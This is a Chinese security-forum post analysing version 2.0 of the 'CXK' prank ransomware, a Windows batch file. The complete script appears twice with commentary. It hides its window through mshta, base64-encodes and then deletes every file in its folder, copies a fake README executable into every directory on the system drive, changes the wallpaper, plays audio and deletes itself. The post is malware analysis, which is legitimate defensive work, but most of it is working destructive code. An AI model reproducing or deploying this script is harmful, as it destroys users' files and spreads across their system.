-
-
[原创]CXK恶作剧勒索2.0分析
-
发表于:
2019-11-3 16:23
6011
-
勒索软件的流行程度近几年来广为人知,于是就有人喜欢模仿,这种炫技行为真的是用错了地方。该样本之前1.0版本已分析过,而本次分析的是2.0版本,发现新增与改变了一些行为。
最近,在日常监测恶意软件的过程中又发现了恶作剧勒索,之后作者本人竟然留了评论(文末截图),加上之前已简单分析过,这次便再进行分析,看看是否有相应的不同,本文不鼓励以此编写类似的勒索脚本。
检测结果如下图,很多引擎都标记为勒索,木马:
目前只能判断该文件是10月份出现的
批处理代码如下:
开头依然是以最小化方式执行批处理文件
接着往下是将文件重命名为.cxkdata后缀(只影响该文件所在的目录),会将CXK-NMSL V2.0.bat.cxkdata给还原,然后将.cxkdata后缀的文件直接使用base64编码后重新改名末尾添加.cxk_nmsl后缀,编码完成后删除.cxkdata后缀的文件(注:这里为了分析,已对批处理脚本内容做了小更改,注释了所有del删除命令)。
上图的一大段的echo指令,最后会生成勒索信内容,取名为CXK-NMSL-README.txt.exe,新增了将勒索信给复制到系统相应目录(包含自启动目录)的行为,包含网络共享位置(单单从行为看,确实与大部分勒索软件是一致的),如下:
https://twitter.com/fbgwls245/status/1186784942975377408
3.2 本地工具
操作系统 |
Win10_x64_pro、Win7_x64_sp1_pro |
虚拟机软件 |
VMware15 pro |
文本编辑工具 |
notepad++ |
检测结果如下图,很多引擎都标记为勒索,木马:
批处理代码如下:
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
ren *.* *.*.cxkdata&ren "CXK-NMSL V2.0.bat.cxkdata" "CXK-NMSL V2.0.bat"
for %%a in (*.cxkdata) do certutil -encode "%%~a" "%%~na.cxkdata.cxk_nmsl"
del /s /q *.cxkdata
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>x
echo AAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v>>x
echo ZGUuDQ0KJAAAAAAAAACPivnby+uXiMvrl4jL65eISPeZiMrrl4ii9J6IyuuXiCL0mojK65eIUmlj>>x
……
……
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>x
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>x
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>x
echo AAAAAAAAAAAAAAAAAAAAAAA=>>x
certutil -decode x CXK-NMSL-README.txt.exe >NUL 2>NUL
del x >NUL 2>NUL
for /r "%SystemDrive%\" /d %%p in (.) do echo Copy to "%%p" & copy CXK-NMSL-README.txt.exe "%%p"
echo UEsDBBQAAAAIAJN93k50tKHstlgGANauBgANAAAAd2FsbHBhcGVyLmpwZ+y6d1STX7cuGkRFiiC9>x
echo ExUQ6Sq9RkVAQERUeokIiIChIy0QESnSIiAgNQIiSItIbwnSERDpEHrvkFADaSf+vn3uGfvc88e9>>x
echo 37h73H/2SmZYI3nfteaz5pzPmvNlUcYpc4BL+jp6OgAaGhrAM+oLQJkHvND2d34BABgaAiQAAMAF>>x
echo wHkaNgAttUdDfQFoaQDn/ukDAKa0tP/8/SsA40v/6v/9MGYFnP3X98ytxmz/q//3OgBNxGcAoBxO>>x
echo mQRoAc7Q0Px9/0ejPUf7t50/e5b2HN15Orq/coGekf7CBYYLdHQMFxkYGJmojY6emeUiE/Pf/t9B>>x
……
……
echo 2bGDuO35unaup8QX32WPcq/d6V4Z8aPiDNawuqtJzvx7frU8wHlfx/8AiYlnBe/vFwrHknr8pr88>>x
echo /wBq746KuqSJ56ndET94+rV7H+1D8X71L3Uo1kmEauQBn/ZPvX54/tEeNLzVfE7bppP9Xjk+7Vzz>>x
echo qXdgMb4meLxr12zGTd8xxg1x6HdI3+FUTdyX8rbmb8TVuL5Y6kD/2VBLAQIUABQAAAAIAJN93k50>>x
echo tKHstlgGANauBgANAAAAAAAAAAAAAAC2gQAAAAB3YWxscGFwZXIuanBnUEsFBgAAAAABAAEAOwAA>>x
echo AOFYBgAAAA==>>x
echo f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream();>x.js
echo x=new ActiveXObject(^"MSXml2.DOMDocument^").createElement(^"Base64Data^");x.dataType=^"bin.base64^";>>x.js
echo x.text=i.readAll();o=new ActiveXObject(^"ADODB.Stream^");o.type=1;o.open();o.write(x.nodeTypedValue);>>x.js
echo z=f.getAbsolutePathName(^"z.zip^");o.saveToFile(z);s=new ActiveXObject(^"Shell.Application^");>>x.js
echo s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js
set v="%appdata%\wallpaper.jpg"
del %v% >NUL 2>NUL
cscript x.js >NUL 2>NUL
reg add "hkcu\control panel\desktop" /v Wallpaper /d "%v%" /f
RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
del x.js >NUL 2>NUL
del z.zip >NUL 2>NUL
del x >NUL 2>NUL
set bgm="%temp%\ģ̫À.mp3"
del %bgm% >NUL 2>NUL
certutil -decode "%~f0" %bgm% >NUL 2>NUL
start "" %bgm%
goto:1
-----BEGIN CERTIFICATE-----
//qRbMKoAAADf2U3BipgADcsh8DAnABNTZUjuFUAAVcX5HcEoADwbBzycAP4CZB5
NkT/Qcw/zQrkwTn/k2ZEQGUFkf/nhchOjjWZf/5EBlxZZ8G8ZCk5//+RQWsR+M4J
wHPHMFaDg///8VoLgPB8YfOSZBESLgZAA2w/////EGBigWSF1YhYDM4BiAHUoarF
LjbC6AdJ8H//n///7//bPf//2//9le3//90YSCpMaDRv///G43cH5OWPjd/////z
……
……
eC15Wc5LeYXEj2r/7WV2j60mNv7e1y1fft5CZcZiKpZvduBLpGmRb0hzsmPzkbkP
BV+RJo3w3ruT7VBDgXahRFQZNMP6hed9tbc6yllIYaa5TP3LJIMg4lhqpIxHhdJ/
627eqexMfleG9vkUKkw9aOcvaUZDx7ybtDujNEKOi8xPLzVz/uahqmRQ9vPPEBwS
DFF0kbUgIhhxltJAtQShYTuQmXgn7/7ben///l///Qffy8v8Xaa3M5So1pPPnq8y
t762Vs5iGpUn2TNeXStOJ9bWHbigzbRBAnJKN69OtNBjEDy9CjXs8kMWBrU=
-----END CERTIFICATE-----
:1
del %0
4.4 脚本分析
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
REM
ren *.* *.*.cxkdata&ren "CXK-NMSL V2.0.bat.cxkdata" "CXK-NMSL V2.0.bat"
for %%a in (*.cxkdata) do certutil -encode "%%~a" "%%~na.cxkdata.cxk_nmsl"
del /s /q *.cxkdata
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>x
echo AAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v>>x
echo ZGUuDQ0KJAAAAAAAAACPivnby+uXiMvrl4jL65eISPeZiMrrl4ii9J6IyuuXiCL0mojK65eIUmlj>>x
……
……
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>x
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>x
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>x
echo AAAAAAAAAAAAAAAAAAAAAAA=>>x
certutil -decode x CXK-NMSL-README.txt.exe >NUL 2>NUL
del x >NUL 2>NUL
for /r "%SystemDrive%\" /d %%p in (.) do echo Copy to "%%p" & copy CXK-NMSL-README.txt.exe "%%p"
echo UEsDBBQAAAAIAJN93k50tKHstlgGANauBgANAAAAd2FsbHBhcGVyLmpwZ+y6d1STX7cuGkRFiiC9>x
echo ExUQ6Sq9RkVAQERUeokIiIChIy0QESnSIiAgNQIiSItIbwnSERDpEHrvkFADaSf+vn3uGfvc88e9>>x
echo 37h73H/2SmZYI3nfteaz5pzPmvNlUcYpc4BL+jp6OgAaGhrAM+oLQJkHvND2d34BABgaAiQAAMAF>>x
echo wHkaNgAttUdDfQFoaQDn/ukDAKa0tP/8/SsA40v/6v/9MGYFnP3X98ytxmz/q//3OgBNxGcAoBxO>>x
echo mQRoAc7Q0Px9/0ejPUf7t50/e5b2HN15Orq/coGekf7CBYYLdHQMFxkYGJmojY6emeUiE/Pf/t9B>>x
……
……
echo 2bGDuO35unaup8QX32WPcq/d6V4Z8aPiDNawuqtJzvx7frU8wHlfx/8AiYlnBe/vFwrHknr8pr88>>x
echo /wBq746KuqSJ56ndET94+rV7H+1D8X71L3Uo1kmEauQBn/ZPvX54/tEeNLzVfE7bppP9Xjk+7Vzz>>x
echo qXdgMb4meLxr12zGTd8xxg1x6HdI3+FUTdyX8rbmb8TVuL5Y6kD/2VBLAQIUABQAAAAIAJN93k50>>x
echo tKHstlgGANauBgANAAAAAAAAAAAAAAC2gQAAAAB3YWxscGFwZXIuanBnUEsFBgAAAAABAAEAOwAA>>x
echo AOFYBgAAAA==>>x
echo f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream();>x.js
echo x=new ActiveXObject(^"MSXml2.DOMDocument^").createElement(^"Base64Data^");x.dataType=^"bin.base64^";>>x.js
echo x.text=i.readAll();o=new ActiveXObject(^"ADODB.Stream^");o.type=1;o.open();o.write(x.nodeTypedValue);>>x.js
echo z=f.getAbsolutePathName(^"z.zip^");o.saveToFile(z);s=new ActiveXObject(^"Shell.Application^");>>x.js
echo s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js
set v="%appdata%\wallpaper.jpg"
del %v% >NUL 2>NUL
cscript x.js >NUL 2>NUL
reg add "hkcu\control panel\desktop" /v Wallpaper /d "%v%" /f
RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
del x.js >NUL 2>NUL
del z.zip >NUL 2>NUL
del x >NUL 2>NUL
set bgm="%temp%\ģ̫À.mp3"
del %bgm% >NUL 2>NUL
certutil -decode "%~f0" %bgm% >NUL 2>NUL
start "" %bgm%
goto:1
-----BEGIN CERTIFICATE-----
//qRbMKoAAADf2U3BipgADcsh8DAnABNTZUjuFUAAVcX5HcEoADwbBzycAP4CZB5
NkT/Qcw/zQrkwTn/k2ZEQGUFkf/nhchOjjWZf/5EBlxZZ8G8ZCk5//+RQWsR+M4J
wHPHMFaDg///8VoLgPB8YfOSZBESLgZAA2w/////EGBigWSF1YhYDM4BiAHUoarF
LjbC6AdJ8H//n///7//bPf//2//9le3//90YSCpMaDRv///G43cH5OWPjd/////z
……
……
eC15Wc5LeYXEj2r/7WV2j60mNv7e1y1fft5CZcZiKpZvduBLpGmRb0hzsmPzkbkP
BV+RJo3w3ruT7VBDgXahRFQZNMP6hed9tbc6yllIYaa5TP3LJIMg4lhqpIxHhdJ/
627eqexMfleG9vkUKkw9aOcvaUZDx7ybtDujNEKOi8xPLzVz/uahqmRQ9vPPEBwS
DFF0kbUgIhhxltJAtQShYTuQmXgn7/7ben///l///Qffy8v8Xaa3M5So1pPPnq8y
t762Vs5iGpUn2TNeXStOJ9bWHbigzbRBAnJKN69OtNBjEDy9CjXs8kMWBrU=
-----END CERTIFICATE-----
:1
del %0
开头依然是以最小化方式执行批处理文件
接着往下是将文件重命名为.cxkdata后缀(只影响该文件所在的目录),会将CXK-NMSL V2.0.bat.cxkdata给还原,然后将.cxkdata后缀的文件直接使用base64编码后重新改名末尾添加.cxk_nmsl后缀,编码完成后删除.cxkdata后缀的文件(注:这里为了分析,已对批处理脚本内容做了小更改,注释了所有del删除命令)。
上图的一大段的echo指令,最后会生成勒索信内容,取名为CXK-NMSL-README.txt.exe,新增了将勒索信给复制到系统相应目录(包含自启动目录)的行为,包含网络共享位置(单单从行为看,确实与大部分勒索软件是一致的),如下:
又出现一大段 echo 指令,这些内容提取后,生成相应的 js 文件对其进行解压,由于在查看时末尾发现"=="符号,自然而然就直接对其进行 base64 解码,文件以 PK 开头,发现是一个 zip 压缩包,本地对其解压后发现是一张图片(与 1.0 版本步骤一致,图片也没变)。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2019-11-3 16:25
被jishuzhain编辑
,原因: 排版